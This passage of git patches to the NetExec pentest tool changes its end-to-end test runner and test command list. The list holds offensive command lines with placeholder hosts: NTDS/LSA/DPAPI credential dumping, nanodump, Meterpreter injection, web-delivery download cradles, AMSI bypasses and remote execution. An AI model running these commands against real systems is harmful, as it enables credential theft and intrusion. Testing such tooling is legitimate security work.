LOGIN_PASSWORD -M empire_exec netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4444 RAND=12345 -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject --options netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_priv -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_priv --options netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump --options -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection --options netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery --options netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle # a bit janky, but we try to enable RDP before testing RDP #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable From c1d52364b31427fbd67c057d48335345a5662876 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 19 May 2024 16:51:49 -0400 Subject: [PATCH 06/11] Removing retries logic --- tests/e2e_tests.py | 48 ++++++++++++++++++---------------------------- 1 file changed, 19 insertions(+), 29 deletions(-) diff --git a/tests/e2e_tests.py b/tests/e2e_tests.py index b1ddffd51..d359f3d5d 100644 --- a/tests/e2e_tests.py +++ b/tests/e2e_tests.py @@ -129,22 +129,6 @@ def replace_command(args, line): return line -def execute_task(task): - result = subprocess.Popen( - task, - shell=True, - stdin=subprocess.PIPE, - stdout=subprocess.PIPE, - stderr=subprocess.STDOUT, - cwd=os.path.dirname(__file__), - ) - - # pass in a "y" for things that prompt for it (--ndts, etc) - text = result.communicate(input=b"y")[0] - return_code = result.returncode - return text, return_code - - def run_e2e_tests(args): console = Console() tasks = generate_commands(args) @@ -163,7 +147,6 @@ def run_e2e_tests(args): start_time = time() passed = 0 failed = 0 - tries = 3 while tasks: task = str(tasks.pop(0)) @@ -172,18 +155,25 @@ def run_e2e_tests(args): task = task.replace('"', "'") console.log(f"Running command: {task}") - failure = True - for i in range(tries): - text, return_code = execute_task(task) - if return_code == 0 and "Traceback (most recent call last)" not in text.decode("utf-8"): - console.log(f"└─$ {task.strip()} [bold green]:heavy_check_mark:[/]") - failure = False - passed += 1 - break - else: - console.log(f"[bold red]{task.strip()} :cross_mark: Try {i + 1}/3[/]") - if failure: - console.log(f"[bold red]TASK FAILED {tries} TIMES, CONTINUING[/]") + result = subprocess.Popen( + task, + shell=True, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + cwd=os.path.dirname(__file__), + ) + + # pass in a "y" for things that prompt for it (--ndts, etc) + text = result.communicate(input=b"y")[0] + return_code = result.returncode + + if return_code == 0 and "Traceback (most recent call last)" not in text.decode("utf-8"): + console.log(f"└─$ {task.strip()} [bold green]:heavy_check_mark:[/]") + passed += 1 + break + else: + console.log(f"[bold red]{task.strip()} :cross_mark:[/]") failures.append(task.strip()) failed += 1 From 4bc012655d4a8d885350af623b5969b2fa4f6e11 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 19 May 2024 17:12:01 -0400 Subject: [PATCH 07/11] Remove left over code --- tests/e2e_tests.py | 1 - 1 file changed, 1 deletion(-) diff --git a/tests/e2e_tests.py b/tests/e2e_tests.py index b01479311..0ce3664b2 100644 --- a/tests/e2e_tests.py +++ b/tests/e2e_tests.py @@ -195,7 +195,6 @@ def run_e2e_tests(args): if return_code == 0 and "Traceback (most recent call last)" not in text.decode("utf-8"): console.log(f"└─$ {task.strip()} [bold green]:heavy_check_mark:[/]") passed += 1 - break else: console.log(f"[bold red]{task.strip()} :cross_mark:[/]") failures.append(task.strip()) From b0e9fe24f94a7b5fee5e36650de58b05771b81b6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 20 May 2024 13:50:31 -0400 Subject: [PATCH 08/11] Fix test paths --- tests/e2e_tests.py | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/tests/e2e_tests.py b/tests/e2e_tests.py index f62e8667a..0c67089cd 100644 --- a/tests/e2e_tests.py +++ b/tests/e2e_tests.py @@ -1,12 +1,13 @@ import argparse -import os +from os import getcwd +from os.path import dirname, abspath, join, realpath import subprocess from time import time from rich.console import Console import platform -script_dir = os.path.dirname(os.path.abspath(__file__)) -run_dir = os.path.dirname(os.path.abspath(__file__)) +script_dir = dirname(abspath(__file__)) +run_dir = dirname(abspath(__file__)) def get_cli_args(): @@ -82,14 +83,14 @@ def get_cli_args(): "--test-user-file", dest="test_user_file", required=False, - default="data/test_usernames.txt", + default="tests/data/test_usernames.txt", help="Path to the file containing test usernames", ) parser.add_argument( "--test-password-file", dest="test_password_file", required=False, - default="data/test_passwords.txt", + default="tests/data/test_passwords.txt", help="Path to the file containing test passwords", ) parser.add_argument( @@ -114,8 +115,8 @@ def parse_line_nums(value): def generate_commands(args): lines = [] - file_loc = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__))) - commands_file = os.path.join(file_loc, "e2e_commands.txt") + file_loc = realpath(join(getcwd(), dirname(__file__))) + commands_file = join(file_loc, "e2e_commands.txt") with open(commands_file) as file: if args.line_nums: @@ -193,7 +194,7 @@ def run_e2e_tests(args): stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, - cwd=os.path.dirname(__file__), + cwd=abspath(join(dirname(__file__), "..")), ) # pass in a "y" for things that prompt for it (--ndts, etc) From f3b73ffdf289424a8697daf23b1b552f85b9793b Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Mon, 20 May 2024 16:05:44 -0400 Subject: [PATCH 09/11] fix(mssql): check if output isnt an empty list/None before trying to stringify it for output --- nxc/protocols/mssql.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index ae9392bdb..61ce3f730 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -318,9 +318,10 @@ def execute(self, payload=None, get_output=False): return False else: self.logger.success("Executed command via mssqlexec") - output_lines = StringIO(output).readlines() - for line in output_lines: - self.logger.highlight(line.strip()) + if output: + output_lines = StringIO(output).readlines() + for line in output_lines: + self.logger.highlight(line.strip()) return output @requires_admin From cfbfeec7a76e310f7da27029cf0cc7231cd14ce4 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 21 May 2024 11:30:07 -0400 Subject: [PATCH 10/11] tests: just always print failures, and remove option; update tmp folder logic, add put/get file tests for smb, and fix file referencing in tests --- nxc/paths.py | 3 ++- tests/e2e_commands.txt | 27 +++++++++++++++------------ tests/e2e_tests.py | 35 ++++++++++++++++++++++++----------- 3 files changed, 41 insertions(+), 24 deletions(-) diff --git a/nxc/paths.py b/nxc/paths.py index 5ebed0e81..53f19cdc0 100644 --- a/nxc/paths.py +++ b/nxc/paths.py @@ -3,9 +3,10 @@ import nxc NXC_PATH = os.path.expanduser("~/.nxc") -TMP_PATH = os.path.join("/tmp", "nxc_hosted") if os.name == "nt": TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted" +else: + TMP_PATH = os.path.join("/tmp", "nxc_hosted") if hasattr(sys, "getandroidapilevel"): TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted") diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index e957f88e4..52bdecbfc 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -21,21 +21,24 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE C:\Windows\Temp\test_file.txt +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE C:\Windows\Temp\test_file.txt --put-file TEST_NORMAL_FILE C:\Windows\Temp\test_file2.txt +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file C:\Windows\Temp\test_file.txt /tmp/test_file.txt ##### SMB PowerShell netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass tests/data/test_amsi_bypass.txt -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass tests/data/test_amsi_bypass.txt -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass tests/data/test_amsi_bypass.txt -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass tests/data/test_amsi_bypass.txt +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass AMSI_BYPASS_FILE +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass AMSI_BYPASS_FILE netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass tests/data/test_amsi_bypass.txt --no-encode -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass tests/data/test_amsi_bypass.txt --no-encode +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method atexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method smbexec netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --exec-method mmcexec @@ -182,16 +185,16 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconf netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass tests/data/test_amsi_bypass.txt -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass tests/data/test_amsi_bypass.txt -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass tests/data/test_amsi_bypass.txt -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass tests/data/test_amsi_bypass.txt +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --amsi-bypass AMSI_BYPASS_FILE +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --amsi-bypass AMSI_BYPASS_FILE netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --no-encode netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --no-encode netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --no-encode netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --no-encode -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass tests/data/test_amsi_bypass.txt --no-encode -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass tests/data/test_amsi_bypass.txt --no-encode +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use? ##### MSSQL Modules # netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD -M empire_exec diff --git a/tests/e2e_tests.py b/tests/e2e_tests.py index 0c67089cd..16663b38d 100644 --- a/tests/e2e_tests.py +++ b/tests/e2e_tests.py @@ -5,9 +5,11 @@ from time import time from rich.console import Console import platform +import os +from nxc.paths import TMP_PATH script_dir = dirname(abspath(__file__)) -run_dir = dirname(abspath(__file__)) +run_dir = os.getcwd() def get_cli_args(): @@ -73,26 +75,34 @@ def get_cli_args(): required=False, help="Specify line numbers or ranges to run commands from", ) - parser.add_argument( - "--print-failures", - action="store_false", - required=False, - help="Prints all the commands of failed tests at the end (default: True)", - ) parser.add_argument( "--test-user-file", dest="test_user_file", required=False, - default="tests/data/test_usernames.txt", + default=f"{script_dir}/data/test_usernames.txt", help="Path to the file containing test usernames", ) parser.add_argument( "--test-password-file", dest="test_password_file", required=False, - default="tests/data/test_passwords.txt", + default=f"{script_dir}/data/test_passwords.txt", help="Path to the file containing test passwords", ) + parser.add_argument( + "--amsi-bypass-file", + dest="amsi_bypass_file", + required=False, + default=f"{script_dir}/data/test_amsi_bypass.txt", + help="Path to the file containing AMSI bypasses", + ) + parser.add_argument( + "--test-normal-file", + dest="test_normal_file", + required=False, + default=f"{script_dir}/data/test_file.txt", + help="Path to file to upload/download" + ) parser.add_argument( "--dns-server", action="store", @@ -155,7 +165,10 @@ def replace_command(args, line): .replace("KERBEROS ", kerberos)\ .replace("TEST_USER_FILE", args.test_user_file)\ .replace("TEST_PASSWORD_FILE", args.test_password_file)\ - .replace("{DNS}", dns_server) + .replace("AMSI_BYPASS_FILE", args.amsi_bypass_file)\ + .replace("TEST_NORMAL_FILE", args.test_normal_file)\ + .replace("{DNS}", dns_server)\ + .replace("/tmp", TMP_PATH) if args.poetry: line = f"poetry run {line}" return line @@ -220,7 +233,7 @@ def run_e2e_tests(args): # this prints sorta janky, but it does its job console.log(f"[*] Results:\n{text.decode('utf-8')}") - if args.print_failures and failures: + if failures: console.log("[bold red]Failed Commands:") for failure in failures: console.log(f"[bold red]{failure}") From 4afc67422a62e9350fa396533d744bd284258918 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 21 May 2024 11:30:27 -0400 Subject: [PATCH 11/11] ruff: apply ruff --- nxc/paths.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/nxc/paths.py b/nxc/paths.py index 53f19cdc0..fda906921 100644 --- a/nxc/paths.py +++ b/nxc/paths.py @@ -3,10 +3,7 @@ import nxc NXC_PATH = os.path.expanduser("~/.nxc") -if os.name == "nt": - TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted" -else: - TMP_PATH = os.path.join("/tmp", "nxc_hosted") +TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted" if os.name == "nt" else os.path.join("/tmp", "nxc_hosted") if hasattr(sys, "getandroidapilevel"): TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")